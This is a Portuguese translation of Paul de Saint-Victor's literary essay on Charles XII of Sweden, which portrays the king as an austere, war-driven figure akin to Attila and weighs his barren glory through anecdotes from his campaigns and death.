CARLOS XII – Paul de Saint-Victor

CARLOS XII – Paul de Saint-Victor

CARLOS XII

Paul de Saint-Victor

Trad. de Mário   Ferreira dos Santos)

Há. na
história, ressurreições de tipos e caracteres que fariam acreditar nos Avatares
da fábula hindu. Há mil e quinhentos anos de distância, Átila reapareceu,
no Norte, sob uma nova forma, reduzido em sua ação, restringido num menor
círculo, mas animado de igual furor destrutivo. Carlos XII, rei
da Suécia, no século dezessete, é um Átila extraviado.

Assim
como o rei dos hunos, nada teve de humano este soldado implacável, que
guerreava como se faz ginástica, por exclusiva necessidade de temperamento. Com
dezoito anos, entrou na barraca de campanha, como um monge em sua célula para
nunca mais de lá sair. Hic sunt taberna-cula mea, hic hamitabo in aeternum!

Verdadeiro
monge, na realidade, que parecia ter pronunciado votos terríveis entre as mãos
de uma dessas Val-quírias sangüinárias adoradas por seu país. A mulher, que a
Escritura proclama "mais poderosa que a morte", a mulher, que
enfraqueceu Sansão, encantou César e fêz chorar Alexandre, jamais entrou
naquele coração cerrado como uma cidadela. Permaneceu casto como a Morte, a
única amante que teve. A condessa Auroda de Köenigsmark, uma das belezas do
século, enviada pelo rei da Polônia, seu amante, para enternecer o conquistador
irritado, não obteve dele um olhar sequer.

Um
dia, encontrando-o numa vereda estreita, desceu da carruagem e dirigiu-se para
êle. O rei saudou-a bruscamente, voltou a rédea e desapareceu. Foi a única
audiência que ela pôde obter.

Por mais
que procurardes, não havereis de encontrar um veio de carne neste homem de
bronze: nem mesa, nem leito, nem prazeres. O sangue substituiu-lhe o vinho:
durante este campanha de vinte anos, que foi sua vida, como Davi no deserto,
bebeu apenas água da torrente vertida no seu elmo. Sua roupa de grossa fazenda
azul com botões de cobre durou-lhe tanto quanto o hábito de um monge; êle a
puía nos ombros.

Os reis dos
contos de fada nunca abandonavam sua coroa; êle só tirava suas botas para
dormir aqui e acolá. Tinha a superstição de suas botas de cem léguas, que lhe
faziam percorrer a Europa a grandes passos: na conferência concedida ao rei
Augusto, em Gutersdorf, após a derrota deste, apenas falou delas. Ao Senado
sueco, que lhe suplicava que voltasse para o reino, privado havia tanto tempo
de seu rei respondeu que enviaria a Estocolmo uma de suas botas para sentar-se
no trono e governar por êle: facécia de leão de botas que não lhe fizeram
repetir.

Foi
a guerra a sua religião; impunha a si próprio, para praticá-la mais
dignamente, macerações ascéticas. Um dia, lhe disseram que certa mulher tinha
vivido muitos meses bebendo água como único alimento. Desejou suportar esta
rude abstinência, como o capricho que poderia sentir Mitrídates em experimentar
um novo veneno. Cinco dias inteiros permaneceu sem comer; depois se alimentou
como um ogro e retomou seu modo de vida habitual.

Só o
misticismo da glória pode explicar um tal caráter, um tal afastamento às
alegrias e às paixões da humanidade. Dizem que fizera voto de pobreza como de
continência: o dinheiro era-lhe somente um meio de fundir balas e forjar
canhões.

Um
trânsfuga livoniano, feito prisioneiro e condenado à forca, propôs trocar a
vida pelo segredo de produzir ouro. Fabricava-o na prisão, com receitas de
alquimista. A barra encontrada em seu cadinho era de bom quilate e de excelente
peso. O Senado impressionou-se, e pediu concedesse–Ihe perdão. Não valia a pedra
filosofal a cabeça de um rebelde? O rei, indignado por ousarem negociar a sua
vingança, respondeu apressando o dia da execução.

As informes
moedas cunhadas sob seu reinado descrevem-no melhor que as medalhas mais
magníficas. São grandes quadrados de cobre estampilhados com o selo real em
seus quatro ângulos.   Verdadeira moeda esparciata, que se diria feita às pressas para as necessidades urgentes da guerra, com
pedaços de armadura juntados num campo de batalha e fundidos ao fogo de um
bivaque.

Se
desmontardes essa organização excêntrica, não encontrareis nela nem sequer o
móvel da ambição. Dava as suas conquistas, distribuía aos outros as províncias
que tomava, não se dignava reunir as coroas que prodigalizava. Não era deste
mundo o seu reino; combatia por combater, por um ideal inteiramente abstrato e
inteiramente interior. Os mais desenfreados conquistadores têm um fim, plano eu
uma cobiça. O próprio Átila farejava com suas narinas de lobo as voluptuosidades
romanas. A Meia do espaço permanecia no cérebro estreito de Tamerlão, que
sonhava com uma Ásia muda, vazia, despovoada, na qual poderia reinar e
deitar-se à vontade. Carlos XII,
porém, só queria da terra o lugar de um
campo e o terreno de uma batalha. Seu vaguear armado do Norte ao Oriente não
traía um instinto político, nem um desígnio de grandeza, nem um pensamento do
porvir. Estava preso ao seu cavalo, como seu amigo Mazeppa, e deixava levar-se
através do mundo.

Vencedor
ou vencido, sua indiferença era a mesma. Uma derrota produzia tanto rumor
quanto uma vitória, e à guerra pedia apenas o rumor e o fumo. Sua bravura nada
possuía de ardente nem de apaixonado: o perigo era seu elemento; a paz tê-lo-ia
morto como a água doce envenena os peixes marinhos. Precisava, para viver, o
rumor do canhão e o acre da pólvora. Após a defesa de Bender, onde susteve,
como Rolando furioso, o assalto de um exército, quando caiu enfim sob o peso do
número, o rosto ferido, as sobrancelhas queimadas pela pólvora, sorriu aos
janízeros que o levaram, calmo, feliz, visivelmente aliviado, como um homem que
o sangue sufoca, e que respira após uma sangria.

"A
peça está terminada, vamos jantar" disse a um de seus generais, quando a
guerra, cansada de contracenar com êle feriu-o, para terminá-lo, com uma bala
na têmpora.

Esta frase
é um julgamento; ela define aquele reino teatral que não teve, na verdade, nada
de real, nada -de histórico, foi somente um drama romanesco representado por
um homem para sua própria glória. Foi a fantasia do deserto árabe transportada
para as estepes do Norte; arre-metidas com fundo de artilharia, brandir de
espadas, salvas de fuzilaria, tinir de sabres…   
O turbilhão passa, a neve cai, a areia se nivela…    Será uma visão, será uma
realidade que acaba de passar?

Que
resta de Carlos XII? Um nome que retumba nos ouvidos como um tiro de
artilharia, mas que não estremece nem o coração nem a inteligência. Sua
flamejante espada não tinha gume: em nenhuma parte ela deixou sua marca. Foi
antes o instrumento de um virtuoso militar do que a arma de um grande homem. Um
exército errante, que não propaga nem um Deus, nem um princípio, nem uma
civilização nova, passa como uma tribo nômade do silêncio do Saara. Mas se é
estéril a glória do herói sueco, seu caráter permanecerá um dos espantos da
história. Um rei de dezoito anos, que parte de sua capital para bater-se até à
morte, sem pausa, sem tréguas, sem descanso, lançando-se na Europa com um
punhado de homens, como Alexandre à frente de seu quadrado de macedônios, no
infinito do Oriente, excitará sempre a imaginação. Compreende-se que uma
sultana tenha sonhado com êle no fundo do serralho. Ela o chamava seu leão.
"Quando, pois, dizia ela ao sultão Achmed, ajudarás o meu leão a devorar
o czar?"

A
época em que se agitou este destino excêntrico ressalta ainda o seu prestígio.
É em meio da Europa política e diplomática do século dezoito, que Carlos XII fêz
sua aparição fabulosa de deus no Eda. Era, evidentemente, um extraviado no
mundo moderno. Era um herói do Norte bárbaro e pagão. Apesar do livro de preces
encontrado após sua morte, no bolso de seu uniforme, não é no céu cristão que
deve ter ido, mas no paraíso sangrento da mitologia escandinava, onde os
guerreiros se retalham em pedaços cada dia, e, sobrevinha a noite, reajustando
bem ou mal seus membros dispersos, jantam juntos à mesa de Odin, comendo no
mesmo prato o toucinho do javali Serimaier, e levantam-se brindes nos crânios
que jorram cerveja fermentada.

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